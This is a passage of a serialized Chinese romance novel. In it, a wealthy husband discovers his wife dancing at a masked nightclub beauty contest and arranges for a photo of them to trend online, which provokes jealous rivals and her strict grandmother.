李斯俊在自己的房子里,手边是还没喝完的酒,脚边是数不完的酒瓶。
从昨天再见,他从昨夜喝到现在,身后的床,躺着醉倒的周正焕,他的执念太深,醉了都不肯睡。
他望着拉着窗帘的窗,有点分不清外面的天色,只觉得有什么刺得他眼睛难受,俊美的脸庞,多了两行清泪。
“她如果晚一点结婚就好了。”
错误的时间遇到对的人,等到他有能力承担,对的人已经是错过的人。
年少的遗憾,成了执念,挥不开逃不掉。
光线透过窗帘渗透进来,醉意朦胧的眼渐渐清明起来。
“他捡了便宜,还不珍惜。”
“姐,我不甘心。”
。
温戍礼看着肖直调查回来的资料,上面的照片,男子年轻,却已透出不好惹的冷静睿智。
李斯俊。
“原来他就李斯俊。”温戍礼翘着腿,手在膝盖上敲了敲,若有所思。
顾辽舟见他表情严肃,一脸阴沉,把资料拿过来看:“老酒庄产业独子,云台名酒创立人,云城酒店老板……靠,二十五岁,优秀啊!”
顾辽舟把资料往后翻,越翻越惊叹:“云城人真低调,看着就是个三线城市,隐藏的富豪还真多。不愧是上千年的古城。
这个李家的产业能追溯到三百年前。苏家原身的工厂也是一百年前创办的了。
苏家是经过动荡,产业改变重组的,还有这份家底,这个李家,从上个朝代就被指定为御酒,延传至今,这些大概就是面上的产业,背地里,估计不止。”
顾家发展短,几十年的时间,最鼎盛的时候,资金流都能跟温家追平,不过没有温家那么多资产。所以顾家一败就落魄,没有温家那么稳定。
他清楚这些老钱家族的底蕴,不可小觑。
“你查这个人干什么?他还给苏氏注资过,所以,你们算合作伙伴?”
给苏氏注资这一项,在最后面,去年刚有的事情。
顾辽舟的喋喋不休,让温戍礼觉得聒噪,他道:“苏氏那点钱我出不起?需要跟这种初出牛犊合作!”
他点了烟,深深吸一口。
李斯俊的背景很完美,完全可以跟他媲美,但他太年轻了,还不足以跟他相提并论。
可就是这年轻,让他烦躁,他跟苏颂年龄相差一岁,当年如果在一起,会是登对的一对。
他输在年轻,也胜在年轻。
“你爸提防你,你外公的产业又隐秘,你的钱要用,大资金调动没那么容易。”顾辽舟理解他为什么去年明知道苏氏危机,却只是铲除那些股东,而没有注资。
再有钱,也不都是他一个人的钱,不能随心所欲,想用就用。
“李斯俊是年轻些,也刚接手家族产业,不过再过几年,肯定是个能影响一城的人物。”他以为,温戍礼打听这个人,是想在云城找新的合作对象,或者为苏氏谋算。
顾辽舟不知道温戍礼是把对方视为情敌,还感叹:“好在,他跟你不在同个地方,不然势必相争。”
“啪!”温戍礼一拳出击,打在前座后背上。
顾辽舟惊到,手动闭嘴。
。
温戍礼说新项目事情多,好几天没回家了。
这让苏颂每天在茶楼都魂不守舍的,闫丽好几天没来了,一进门就看到她坐在那发呆,走过去一问,才知道又是因为温戍礼的事情。
“你是担心他没回家,在外面鬼混?”男人都是下半身动物,这点闫丽深有体会,以为苏颂是担心温戍礼出轨,哪知道苏颂说。
“他才不会。”信誓旦旦的语气,让闫丽不由地好奇,想听她的理由。
苏颂说:“他高傲,一般女人他瞧不上,而且他还有洁癖,太随便的女人他不屑。
之前也就一个陈曼曼能跟他说几句话,但她也被送出国了。听说是她得罪了戍礼,被她家里人舍弃了。”
闫丽拍了拍她的脑袋
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,道:“姐妹,你是不是忘了,你还跟姓温的冷战呢,你怎么说着说着还沾沾自喜上了?
不对,还夸你自己了,姓温的眼高于顶,却看上你了是吧?”
每次跟闫丽聊天,最后总是能让她笑,闫丽脑子活络,脑神经常常不走寻常路。再沉重的心情,被她一通洗稿,大体都会变得轻松起来。这就是苏颂喜欢跟她在一起的原因,她的生活太枯燥沉闷了,闫丽就像一个催化剂,能让她无聊的生活变得绚丽。
苏颂傻笑了一下,也不遮掩,说:“他喜欢我,我还是挺高兴的。”
她并没有跟温戍礼冷战,那天闫丽说他就是忙,苏颂也理解,冷静下来,她有联系温戍礼,可他回了她新项目事多,忙。
她不敢再打扰,怕打扰他工作,哪知道她没找他,他也没联系她。
闫丽这几天回了一趟云城,怕李斯俊没人管,喝**。结果倒好,那边心疼得要死不活的,这边的当事人却把自己说服了。
闫丽翻白眼:“我就活该管你们!”
“不过,他现在在干嘛呢……”苏颂有点想他了,“自从我们确定备孕之后,他已经很久没有这样长时间不在家的了。”
“我看你就是闲的。男人有什么好想的。”闫丽不想管她了,安慰好她又安慰自家表弟,结果就她操心得要死,还要吃狗粮,要疯了。
苏颂张罗吃的“伺候”闫丽,苏颂看她一直刷手机,也不敢吱声,乖乖坐在边上,尽量不发出动静。
苏颂自知自己那天是被温戍礼说了之后,情绪有些太糟糕,让闫丽担心了,并且她没有坚持冷战,还主动跟他联系了,让闫丽觉得她给女人丢脸了,所以不理她。
闫丽的感情经验都是被男人伤害,实战积攒下来的,苏颂懂她,也明白她那恨铁不成钢的恼。
她只能等着,等闫丽气消来理她。
闫丽刷着手机刷着刷着,忽然说:“就在我店对面,我居然不知道?”
苏颂闻言,靠近过去,看到手机屏幕上写着“选美”。
“星灿?在哪?”
113 太太不乖,温先生会生气的哦
星灿酒吧
苏颂犹豫着没进去,闫丽双手环胸,看她:“上次是谁硬要去King的?我拉都拉不住,现在就不能陪我去酒吧看选美了是吧?”
“是看女的,又不是让你陪我看男模。”说着说着,她开始翻旧账,“我到现在,被人打过的后颈还疼着。”她摸着脖子后面,眉头皱着,美人喊疼,连风都有罪过。
苏颂立刻听从,拉着闫丽就进门了。
毕竟这事,是她理亏,何生宝是冲着她来的,闫丽是替自己挨了一棍子。
被她拉进去的闫丽在后面睁大了眼睛,她就是觉得自己最近忙得团团转,像个大傻子,故意捉弄一下苏颂,如果苏颂坚持不进去,她肯定会带着苏颂去自己的清吧那边。
但苏颂进来了,进就进,她跟苏颂不一样,为什么男人结婚之后就能继续风花雪月,女人就得在家三从四德?
女人婚后照样可以玩!
酒吧里很热闹,苏颂刚才还有所顾及,进来之后,被喧闹的音乐声一震,整个人只觉得精神气爽。
闫丽看她,道:“你才是天生反骨的人,跟姓温的一样闷骚。”说归说,她还是帮苏颂整理好面具。
星灿的选美噱头搞得好,女性客人进来,可以选择戴面具,避免被人误会是选美的小姐,也保持了一定的神秘性,毕竟这种场合,来的男人肯定更多,有些人就喜欢图热闹,但并不爱抛头露面。
苏颂选择了一个狐狸面具,闫丽选择了一个兔子面具。
“来了这里就别提他,我玩不开。”
闫丽:“……”好家伙,越发觉得自己操多余的心了。
。
这边卡座里,顾辽舟左拥右抱着两个女人,见温戍礼坐在那里,像一尊雕像一样,他开口道:“与其自己生闷气,不如出来放纵。人生苦短,何必为难自己。
你就是对你自己太苛刻了。”
“苏颂心里没清空都能嫁给你,你就是来这里坐一坐,不安什么啊,放开了玩!”
“是那个男的纠缠她,不是她心里有人!”温戍礼指正道。
在打听了李斯俊的背景之后,温戍礼感到前所未有的威胁。
周正焕喜欢苏颂不足为惧,因为他清楚周家的家规不准许周正焕夺人之妻。但他见到李斯俊两次,他的身上,有种离经叛道,不为世俗的叛逆感。
他担心李斯俊跟苏颂谈过,于是让人调查。
结果好消息是,两人没有谈过恋爱,甚至接触的时间也不算长,李斯俊没有参加高考,去了国外留学。
坏消息是,苏颂跟李斯俊认识的半年里,互动很多,后面几乎天天在一起,他在酒吧为她打架,会在跨年带她放烟花,深夜还给她恶补科目,在她高考后,还给她订了花……
两人没有在一起过,但却做遍了情侣之间会做的事情。难怪那么难忘!
他没费多大的劲就得到这样的信息,一桩桩一件件,李斯俊做得张扬又高调,说明李斯俊从不担心被人知道。
都是男人,温戍礼也年少过,年少的冲动纯粹直白,肯定喜欢,才会这样费心思。
他猜想,李斯俊当时大概是考虑追求苏颂的,可是他做法高调,不知道藏,提前被家里人知道了,并遭到反对,还被送出国。才导致出师未捷身先死。
可对男人来说,没得到的才是最好的。
温戍礼看了一眼手机,哪里有忙到连发个消息都没有,是他知道苏颂还是李斯俊的白月光,心里怄气。
可她竟然也没有发消息过来,平常不是最喜欢问东问西假贤惠关心的吗?现在都不装了是吧!
温戍礼越气,说话就越难听:“我没你那么浪,下半身公家物!”他起身,走开。
顾辽舟被骂懵了,低头看一下自己的裤裆,问身边的女人:“小红,我浪吗?”
小红醋意满满的盯着顾辽舟身边另一个女人,竟然带了她,还带别的女人,于是她气狠狠的说:“你当然浪!”
浪**,渣男!
顾辽舟:“……”
“敢情我好心带你们出来看美女,还变成是我下流好色了是吧?”
温戍礼到通道口吸烟,他在犹豫,怎么找台阶让自己今晚可以回家,又能不丢面子。
“冷战时
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,如何让对方先低头”
“发完脾气,老婆不理人怎么办”
“女人让男人生气,女人应不应该哄”
他一次又一次的在搜索框搜索办法,结果答案都是男人得先低头,要不然就是男人身为男人就得先认错,更甚是,女人让男人生气,肯定是男人先做了什么事惹到才导致。
一句话,女人都没错,他就是找不到台阶。气得温戍礼差点摔手机。
手机铃声响起,救了手机一命。
他看,是顾辽舟,接听,语气有些不耐,脚步开始移动:“在这。”
那端的顾辽舟催促:“快点,选美就要开始了。”两人距离不远,温戍礼很快就回到卡座。
他靠在椅背上,大大方方,也不畏惧人多被认出来。
顾辽舟讨好的笑:“我还以为你生气,先走了。”
“你是我肚子里的虫,那么了解我?”
顾辽舟笑意加深,陪他玩文字游戏:“不是,才不了解你的啊。”
他又问:“需要十一点前回?冠军大概得过了凌晨才能选得出来。”
今晚不回去的话,他有的是时间,既然来了就没有没开场就走的先例。
他淡道:“不需要。”
他从没有避讳过夜场,他身正不怕影子斜,很多时候,这种场合都是谈生意的好地方。苏颂也从没有在这件事上闹过。
可顾辽舟的笑太碍眼了,好似觉得他是在充面子,才说不需要的。
气得他不看他,看台上的走秀。
苏颂正在人群里看得目不转睛,爱美之心人皆有之。就算她是女的,也会喜欢看美女,养眼。
“都好漂亮。”
闫丽扫了台上一眼,却不以为然:“都决赛了,就选出这么几个歪瓜裂枣,嘁!”
苏颂笑:“哪有几个人长得跟丽姐一样美的。”
夸赞的话谁都爱听,闫丽听了也高兴,想着苏颂就这样干巴巴的看着,会不会口渴,这里今晚有免费的酒水提供,她想去给苏颂拿一杯,结果转身的时候,看到了边上卡座的男人。
她吓得捂着嘴巴惊呼:“温戍礼!”
114 抓住了,夜店小蔷薇
她把杯子放下,快速转身,温戍礼在这,得赶紧带苏颂离开。
苏颂正看得起劲,想把手中的玫瑰投出去,忽然被人往后拉了一下。
“谁?”
看到那小白兔面具,她才放心:“丽姐,你干嘛?我觉得十八号能夺冠。”
这种场合,这个阵仗,怎么可能没有赌呢,苏颂压了注的,一支玫瑰一千块,她小赌怡情。
看着已经玩得不亦乐乎的苏颂,闫丽急**:“走。”
她拉着她,但人很多,音乐声也大,人声也大,她们在人群里不仅走得慢,连说话的声音都难以听得清。
苏颂根本听不清闫丽说那句“温戍礼在这”。
“你有急事吗?要不我下完注再走,有联系方式,赢了他们转给我就行。”
苏颂舍不得,还想赌完这把。
温戍礼对选美没什么兴致,只是消遣时间罢了,倒是顾辽舟看一个点评一句,眼睛都要粘到那些女人身上的,一会儿这个身材好,一会儿这个长得正,把他带过来两个女郎都气走了。
“嗳,戍礼。”
温戍礼正在编辑信息,准备给苏颂发过去,他想假装喝多了,让她来接,不就是一个很好的理由。
他头也没抬的回:“我不赌,你要自己下注。”他以为他又是要怂恿他买哪个佳丽赢。他几乎是每一个出场,都说那一个会赢。
这样赌,能赢才怪!
顾辽舟说:“不是,我不是要你下注,你看那个女的。”
顾辽舟指着台上,问:“像不像嫂子?”
温戍礼按着手机屏幕的手一顿,眉头一紧,瞪着顾辽舟,两眼都写着“苏颂会来这种地方选美,你开这个玩笑想找死”的威胁。
就在温戍礼的拳头都要硬起来的时候,依稀听到熟悉的声音。
“我投你了,加油!”苏颂笑眯眯的把花给了台上的十号。
温戍礼看过去的时候,正好她往台下跳。
手腕上的蓝水晶晃了一下。
那不是普通的水晶,价格比一般的宝石还贵,是他专门找人定制的。
他不敢相信,这样活泼贪玩的人,会是在家里娴静沉稳的好妻子。
台下人很多,一个不留神,就跟不到苏颂的人影。
顾辽舟走过来,往着人群里望:“嗳,那个是闫丽。”
拉着苏颂往外走的女人,身材火爆性感,加上那一头卷的短发——很少有女人烫短发好看的,但闫丽是不仅好看,还显得妖艳。顾辽舟确定自己不会认错。
他往后看,只见温戍礼已经点了烟,问:“不追?”
温戍礼拿下含在嘴里的烟,不慌不忙,稳当的开口:“让你的人,封场!”
星灿,是顾辽舟跟江灿合开的,江灿想赚钱,但碍于身份不便,于是他投资大头,不出面。而顾辽舟也想扩大产业,缺人脉,钱也不够,所以他出小头,当法人。
今晚,是顾辽舟让温戍礼来给他的新店捧场,才把人请来的。
苏颂跟闫丽好不容易才挤过人群来到门口,结果门口的保安在拉警戒线。
闫丽说:“我们要出去。”
保安说:“我们老板说了,佳丽都已经出场完毕,客人都是下了注的,为了保证比赛的公平,现在禁止出入,直到比赛结束。”
“什么?”
眼看闫丽要发飙,苏颂拉住她,又忍不住回头看:“丽姐,你有什么事那么急?不急我们就看到结束吧,已经开始投票了。”她一脸兴奋的样子,拉着闫丽的手不放。
闫丽看后面已经有保镖在挡门,知道自己硬闯也出不去了。揉着脑袋摇头:“从第一次见你,我就知道,你只是长着一张兔子脸骗人,你比其他人还沉迷夜店!”
她望着刚才的卡座看去,那里已经空空如也:“难道是我看错了?”
出也出不去,苏颂已经拉着闫丽又融入人群。这一次,闫丽故意往人多的地方站,这样,就算真的是温戍礼,也不会轻易看到她们。
再过半小时就结束了,闫丽想,小心一点,应该不会有事。主要
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是这个小妮子,一看就是这几年闷坏了,她也不忍心打扰她的兴致。
见过鲜花张扬的样子,所以闫丽知道现在的苏颂,身为温太太有多隐忍。
这个傻丫头,还一直觉得是温戍礼吃亏,她才是牺牲最多的人好吧。
闫丽一边倒计时,一边小心的打量着周围,苏颂则是全身心的投入到了这场比赛里,一直念着“十号赢,十号赢”。
十位佳丽比拼完才艺后,就要公布票数,场面已经到了白热化,所有人都欢呼雀跃,兴致昂昂的希望自己赢。
闫丽以为就要可以走了,结果主持人上场,说票数还在统计中,现在先舞一曲放松。
接着,音响就播放出DJ。
闫丽一会儿傻了,还没骂出来,整个人就被人一挤,回头看,苏颂呢?
拉着她的苏颂不见了。
苏颂太开心了。
她不是坏女孩,她不跟人搞暧昧,也不是要钓金龟婿,她会走入夜店,纯粹是好奇,会一而再的去,是她发现,震耳欲聋的音乐,让人好兴奋,好像释放最真实的自己。
她伴着节奏手舞足蹈,从小就学过舞蹈的小公主,舞动的姿势,柔韧带劲。
温戍礼从没见过这样的苏颂,他从来不喜欢舞池,更是觉得会在舞池里摇晃跳舞的人有病,扭得难看,还要当众出丑,不是有病是什么。
可是他从没想过,他这个被圈子里公认的贤惠好太太,在家说话都轻声细语的小妻子,竟然会在这种场合翩翩起舞。
她有舞蹈功底,跳起来很好看,加上身形曲线玲珑,又年轻,引来周遭不少男人的目光,贪婪的、好色的。
温戍礼咬着后牙槽,走近过去。他戴了一边面具,扮演着黑杰克。
他慢慢走近,跳得忘乎所以的人儿,转着圈,不小心来到他身边。她的手打掉他的面具,原本纯真的笑脸,就这样,变成惊愕、木讷。
不知所措。
那双藏在狐狸面具后面的眼睛,瞪得大大的,惊恐的看着他。
115 较劲,我也要跟她一起上热搜,爆
闫丽好不容易找到苏颂,结果看到她正被温戍礼抱着,她立刻要上前,却被人勾住腰肢。
“美女,共舞一曲。”
她转过头,一张银色的面具映入眼中,不同她们的半张面具,这人是一整个面具,遮住了一整张脸。
男人的手一转,轻易的把人转过来,变成面对面的搂着,舞曲一换,DJ变成交际舞舞曲。
男人另一手牵住她,快速,且不容拒绝。闫丽就这样被拉入舞池,被迫跟他跳起了探戈。
而苏颂反应过来是温戍礼,下意识就想跑,可手臂被他抓着,他勾唇一笑,俯身靠近,声音低沉。
“温太太,你让我好意外。”
当温戍礼说温太太是自由的时候,苏颂幻想过好多次,自己能活出自己喜欢的样子,并且温戍礼也接受。
甚至他们还能在有空的时候,约上他的朋友,她的朋友,好多人一起娱乐,一起度假。肯定会很快乐。
苏颂一直期盼着,她不喜欢太约束的生活,她想慢慢的,让温戍礼了解她,并接受活出自己的她。
可这一刻真的来临的时候,她怕了。特别是这一瞬间,他说:“居然是个小太妹!”
短短一句话,让苏颂觉得头皮发麻,头发都要竖起来那种。
她惊恐的看着他,咽了咽口水,强迫自己冷静下来。
温戍礼说:“我以为你顶多就上夜店喝点儿酒,再多的,点个男模陪酒,就顶天了。”
从见过她在深夜跟闫丽放声大笑,他就察觉到,大概苏颂跟他在一起,是收敛着性子的,他想,她大概有点活泼。
后来,她跟周正焕年少时期的照片上了热搜,他发觉到,苏颂贤妻的样子很可能都是装的。
可任他怎么想,都不会想到,她不仅会喝酒,会骑马,会上夜店,还会在舞池里跳舞!
“狐狸?哼,是挺狡猾的。”
“你认错了人了吧。”苏颂想起来自己还戴着面具,假装不认识。
她要推开温戍礼,却被他抓得紧紧的。探戈的音乐激烈又热情,嗨过头的人哪记得什么舞步,群魔乱舞间,有人旋转,撞到她,苏颂扑进温戍礼的怀里。
她抬头,那双小鹿惊恐一般的眼睛,看着他的手慢慢靠近,解开了她的面具。
四目相望,一个惊慌,一个泰然。
……
第二天,苏颂正在吃早饭,刷手机的时候,差点把手机丢出去。惹得对面正在看财经杂志的温戍礼看过来。
苏颂用力把嘴里的面包咽下去,将手机递到他面前,声音都低了下来:“我们,上热搜了。”
照片里,昏暗的环境,一束彩光正好打过来。他搂着她,她仰头看着他,两人姿势亲密,眼神脉脉传情,看起来格外登对养眼,如果不是背影是舞池就好了。
这照片唯美是唯美,但是一看就能看出来是在夜店。
苏颂注视着温戍礼的表情变化,毕竟从昨晚她被抓住,就以为自己要**的时候,不仅没死,他还温柔的,要了她一晚。
很温柔,不像前段时间那么霸道猛烈,也不像之前那么蜻蜓点水。昨晚的他面面俱到,就是不止一次。
苏颂越来越摸不准他了,一早起来他没提,她也不提,所谓好死不如赖活着,可是怎么能被拍了呢?都上热搜了,这下全城,全国都知道了,她躲也躲不掉。
“你不是说陈曼曼已经出国了吗,怎么还有人偷拍?”苏颂快急**。
温戍礼淡淡的瞟了一眼,说:“拍得不错。”
居然还轻描淡写的评价?!
苏颂快疯了:“我们被拍了。”
“然后?”
“很多人都认识你,这样他们就会知道我是你老婆了。”之前苏颂为什么没这样害怕呢,因为就只有圈子里少部分人认识苏颂,那些一直夸赞她是贤妻良母的贵太太们,好多只是在婚礼上见过,现在在外面遇上,都不一定能认得出苏颂。
苏颂嫁给温戍礼,大家都知道,可苏颂只是尽职当一个好太太,并不经常跟温戍礼一起露面。
所以,上一次她跟周正焕的照片上热搜,她只怕温家长辈饶不了她,现在,她怕全城
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人的唾沫!
才相隔几个月,肯定还有好多人记得,她刚上过热搜。
温戍礼接手盛泰之后,还上过财经新闻,这下肯定会被她连累了。
苏颂心灰意冷,觉得一切都完了。
“你在害怕什么?”温戍礼放下杂志,看着她,她的表情依然淡淡的,令人看不出喜怒。
“他们肯定会觉得我给你戴了绿帽。”苏颂沮丧的说。
这一刻,她有点后悔了当年的贪玩。
温戍礼点头:“然后呢?”
“这还不够吗?堂堂南城首富的大少爷,娶了一个爱逛夜店的落魄户千金。”她连八卦的标题都想好了。如果狗仔继续挖,可能写得还比这个难听。
温戍礼听后,依然没什么表情变化,扬眉说:“所以为什么要去跳舞呢?”
但凡开个包厢待着,也不至于人尽皆知!
温戍礼跟她说,他会处理。他们私下闹归闹,但上热搜非同小可,苏颂这一次也意识到错误,听到他说最近在家别出门,也乖乖应下。
温戍礼出门,顾辽舟的电话就打进来:“太劲爆了,刚上就被好几个娱乐大V转发,我这边快压不住了,你让温家的法务团队撤吧。”
照片是他让顾辽舟拍的,南城这么大,谁敢轻易偷拍他的照片,就算拍了,还没流入市场就会被截,就同上次他帮陈曼曼被偷拍一样,没上新闻,就被他爸给截住了。
温戍礼用平板看着,平板更大更清晰,看起来更好看了。
“不用。”温戍礼说,“拍得不错。”
顾辽舟反应过来,骂了一句,后道:“故意要上啊,等等,你不会是跟上次嫂子和周正焕的热搜较劲,才让我帮你发布照片的吧?”
顾辽舟原以为温戍礼让他拍照,是要吓唬苏颂,让她以后谨言慎行,不要忘记温太太的身份。
温戍礼从电梯出来,走向自己的迈巴赫,闻言反问:“不行?”
这一瞬间,顾辽舟又被炫到,他“嘶”了一声:“行,真情难可贵,爱情价更高。你谈恋爱让我开了眼了。”
116 全城警报:一张照片,有人坐不住了
“我看你怎么过你爸那一关。”
温戍礼上车,开车,道:“这个就不劳你费心了。把事情给我查清楚了,你费心的事情,我给你办。”
他打着方向盘,食指敲了一下,这次的事情是他做的,跟陈曼曼没关系。不过他模仿了她上次的做法,是他要从源头查起。
顾辽舟这边,原本还躺在床上的人立刻坐起来:“你答应帮我得到顾家了?”
得到肯定的答复,顾辽舟挂了电话,忍不住说了一句“yes”。
他把手机调到热搜新闻界面,看着那张高清唯美的照片,道:“让专业的人拍的,果然没错。
哎呀,要让温戍礼松口,真的只要在苏颂身上下功夫就好。”
他想重振顾家的想法从上学时期就有了,但温戍礼不是说他痴人说梦就是当没听到,去年他被他堂哥算计,差点**,找上温戍礼帮忙,他也一直不太想躺这个浑水。
结果因为温泰骚扰苏颂,他帮着出气,温戍礼帮了,把他堂哥手下那半条街都收到他手里来。
他得寸进尺,想让温戍礼帮他得到顾家。温戍礼一开始明确拒绝,但后来,因为苏颂跟周家人的关系,周扬平还找到了温戍礼的秘密基地,他需要外援,才答应合作,但到现在也两个月了,温戍礼一直没什么动作,他催,他也不动。
他看着热搜排行榜,第一的热度甩了第二两倍。
顾辽舟笑了:“苏颂啊,嫂子,你就是我的贵人。”
既然温戍礼开口了,那就是打算来真的了。那他也不能拖后腿。
“我会把当年拍照片的人找出来的。”苏颂跟周正焕那张照片摆明就是有人故意拍的,但是当时的苏颂还在上学,是什么人盯上她呢?
温戍礼是个谨慎细心的人,旁人或者只关注照片的主人公,他却想要揪出背后的人。
。
林美丽正在温家看着那张照片:“为什么我觉得这个照片那么熟悉呢?”
她把手机界面切换到相册,看到苏颂跟周正焕那张原图,这个照片是她费尽心思找的,那个拍照的人一开始说没有,后面重金之下,他才把照片发给林美丽。
几年前的照片了,却还是原图,所以当时上热搜的时候,只要认识当事人,都能一眼认出来。
这事是林美丽满意的设计,因为既给了苏颂一个教训,也让温戍礼在温航之面前的形象受损,更重要的是,最后还是陈曼曼背了锅。
她以为这事到此为止,没人会知道,第一张照片是她发出去的,可现在,看着两张照片,她的脸色却越来越苍白。
一样的男左女右,一样的女在前男在后,一样的男人的手搭在女的肩膀……虽然后者更亲密一些,能看得出来苏颂是被温戍礼搂在怀里,可是这个角度,这个方位……竟然如此一致!
那个拍摄者说,他是在楼上角度拍的,温戍礼跟苏颂这一张,显然也是。
“难道也有人故意蹲他们两个,拍的?”说完,林美丽又摇头否认,“在南城,没有温家的准许,关于温家人的照片是流传不出去的。”
就算她是温夫人,动用了关系,苏颂跟周正焕那一张照片也只维持了一上午,不到中午都被撤下来了。
而温戍礼被人拍到抱着陈曼曼那张,还没发布出去,就已经被温航之拦下来了。
林美丽坐起来,越想越心慌:“这个新闻,是得到温家人准许发布的。
难道是温戍礼怀疑什么?”
。
周正焕在闫丽这里,看着电脑上,那热搜大新闻,一直目不转睛。
大屏幕上的照片更清晰,也把两人之间的表情表现得更细致。
苏颂望着他,眼中有惊讶,而男人看着她,显得几分情深款款。
闫丽瞧着那照片,轻嗤一声:“闷骚!”
周正焕来找闫丽,是因为昨晚联系不上她:“你昨晚跟颂颂一起去星灿了?”
闫丽把玩着手里的银色面具,说:“关你什么事。”
周正焕漂亮的脸上一哂:“要不是我小叔叫我来看你在干什么,你以为我想管你
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。”
“别说我没告诉你,我们周家的男人,是不会准许自己的女人有异心,你既然跟了我小叔,就应该洁身自好,别再招花惹草。”
得知他小叔竟然跟闫丽在一起的时候,周正焕有种被雷劈中的感觉,怎么都想不通他小叔那样严谨自爱的人,怎么会看上闫丽,闫丽是很好看,人也阔达,交朋友就还行,做男女朋友……他当时就告诉他小叔,说闫丽有过很多男人。
哪知道不重色欲,为他小婶守了三年的小叔竟然回他:谁都会有过往,她的过去我没有参与,所以没有发言权,但是以后,她如果还跟别的男人有撕扯。
当时他小叔没有往下说,可是他的笑,周正焕还记得清楚。如果闫丽敢背叛他小叔,肯定没有好下场。
闫丽不以为然,反问:“你小叔有说过我是他的女人吗?”
“他可是跟我说,我们就只是P友,除了那点事,不可能有别的关系。他把界限分得清清楚楚的,说联系不上我……那他就联系得上了。
我打温戍礼的人,是因为那个人跟踪我,我不应该教训一顿吗?
他就跟我冷战,就不理我,现在还反过来怪我!”
要不然说,长得好看的人有优势呢。明明是责备的话,但被闫丽说出来,就多了几分让男人怜惜的意味。
周正焕吐出一口气,怀疑是他小叔拿她没办法了,才让他来的吧。周正焕的目光移到她手里的面具上,问:“这个看着怎么像是男人的?”
闫丽毫不避讳,说:“就是男人的,昨晚在星灿偶遇了一个很来feel的man。”
只可惜,舞曲一结束,那人就走了,面具还是她在一张无人的桌子上找到的。
周正焕警告的喊她:“闫丽!”把他刚才说的话都当成耳旁风是不是?
闫丽别他一眼,说:“告诉你小叔,下次再敢没消没息,不接电话就晾老娘一个月,我们就断了。
到时候老娘找年轻的小鲜肉,还是找勇猛的肌肉男,都跟他没关系。”
117 他面面俱到,连一张照片的醋都吃
周正焕被她气得瞪眼,就在他要真动怒的时候,闫丽换了话题。
“小周,你不觉得,这照片发布得很奇怪吗?”
她尖尖的手指,在苏颂跟温戍礼的照片上,从中划过去。
“好像故意在昭示。”
周正焕瞧着那张照片眯眼,道:“温戍礼就是故意让这张照片流传出来,上一次是有人故意买热搜,但是事关温家的继承人,本来豪门的瓜,群众就乐意吃,热搜都不用买,热度就上来了。”
周正焕不屑的冷哼一声。闫丽看他,只听他说。
“上次我抱着颂颂出现在他面前,刺激到他了,他现在是要昭告全国,苏颂是他老婆,故意做给我看呢!”
。
云城,李斯俊也看到了这张照片,他紧抿着唇,目光死死的盯在温戍礼搂着苏颂那只手上。
恨不得进去将两人分开。
他握着手机的手在用力,最后丢了出去,手机瞬间被砸开。
管家来敲门:“少爷,茂盛电子公司的夏总想见你。”
说完又不忘提醒:“他今年已经来第三次了。”
第一次李斯俊没在李家,第二次,李斯俊说不见。这一次呢?管家微微抬头,等着他的指令。
李斯俊咬着后牙槽,明明上一秒还一副暴躁无边的样子,他闭了闭眼再睁开,说话的语气已经变得如常。
“不过就是一千万而已,至于三顾茅庐来感谢?让他等会,我去见他。”
“是。”
管家出去了,李斯俊掏出烟,抽起来。
同样是顶级家族的继承人,李斯俊深知,他们的隐私都会得到严密的保护,如果不是当事人准许,这照片就算流传出来,也会马上被撤掉。
可是热度还在上升,从昨晚半夜到今天上午,多少个小时了。
他温戍礼,是不想藏着跟苏颂的关系了,他要把他们是夫妻的关系,弄得人尽皆知。
他以为,这样,他身为合法丈夫就会完胜,能击退所有对苏颂有想法的对手。
李斯俊站在窗边,狠狠的抽一口,可惜温戍礼算错了,他现在正是不甘心的时候,越是不让他肖想,他还越是想要呢。
李斯俊望着窗外。原来真的确定一个人,是连她的丈夫也不行!
温戍礼的挑衅,让他越发确定自己的心意。
“温戍礼,你的宣战,我收到了。”
“李斯俊,应战。”
。
苏颂在家一直坐立不安,连最喜欢阿姨做的荔枝虾球都没吃。
见她一会看手机,一会来回走动,连午觉都不睡,阿姨也跟着忧心忡忡起来。
“你跟先生是夫妻,夫妻俩一起被拍,不要紧。”不用这样连饭都吃不下。阿姨看着还没动过的菜,一时间倒掉也不是,不倒也不是,显得为难。
苏颂却说:“阿姨你不知道。戍礼还提起我去年也上热搜的事情,说明他还介意。”
她的语气沮丧起来:“他还好,主要是我奶奶,她肯定又会说是我不听她的话,现在才会变成把柄,被人一直拿来说。”
她焦躁的,是她奶奶来电训斥的话,她要怎么办。
她好怕被她奶奶数落,特别是她当年去夜店的事情,她奶奶查到闫丽的时候,还拿钱要人家关店走人,这事她后来知道,还跟她奶奶吵了一架。
如今,因为她贪玩逛夜店,还跟周正焕被拍,被人故意扭曲黑白,说也说不清楚,连温戍礼也不信她,要拿来说事的话,她真的是哑巴亏。
第一次,在逛夜店这件事上,苏颂感受到了人言可畏。原来不是你不乱搞就没事。
真被她奶奶说中了,女孩子的言行举止关系到名誉。
在苏颂焦躁不安中,她奶奶苏凤的电话来了。
苏颂对阿姨比了一个嘘声的动作,走出餐厅,接听电话:“奶奶。”
“苏颂,你真本事,又上热搜了!”
她奶奶一开口,就让她头皮发麻,她想到自己十八岁那时候,她误打误撞进了闫丽的店,当晚,她被她奶奶教训到了凌晨,隔天又关起来,要她反思。
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当时她翻窗,那一晚,她在闫丽的店里呆到不想回家,不想,也不敢。
是闫丽发现了她的不对劲,主动问她,为什么还不回家。年少藏不住事,她对第二次见面的老板说出心事,闫丽跟很多老板不一样,她听后,没有知晓这是个富家千金,就趁机怂恿她留下来消费,而是说“小孩子,还是要听家里人的话好,外面坏人多。”
她说店里还有很多昨晚那样的男人,把苏颂吓到了,然后她笑了,把苏颂送回苏家。
苏颂回忆起来,唇瓣发白,那一晚,她被奶奶又骂又打,在正厅跪了一晚上,发烧了足足三天。
“奶奶,我知道错了,我真的知道了……”记忆中的惩罚依然让她害怕,她怕到都忘了,这会她跟奶奶分居两城,她奶奶再生气,也打不到她。
“我以后不敢了。”她哆嗦着,先认错。
苏颂对她奶奶的印象,慈爱的奶奶只停留在她八岁之前,后面全是严厉。
“哼,知道错就行,我早说了,夜场那种地方,不能去,你看这事一件件的。”
苏颂咬着唇,都要哭了,在她的眼泪就要滚落出来的时候,苏凤的话锋一转。
“不过是戍礼带你去的,就没关系。男人得应酬,偶尔还需要妻子陪伴,你是在帮助他的事业,做得很好。”
猝不及防被夸,苏颂有些没反应过来。
苏凤的声音又传来:“戍礼都跟我说了,你是陪他去给朋友新开的店祝贺的。
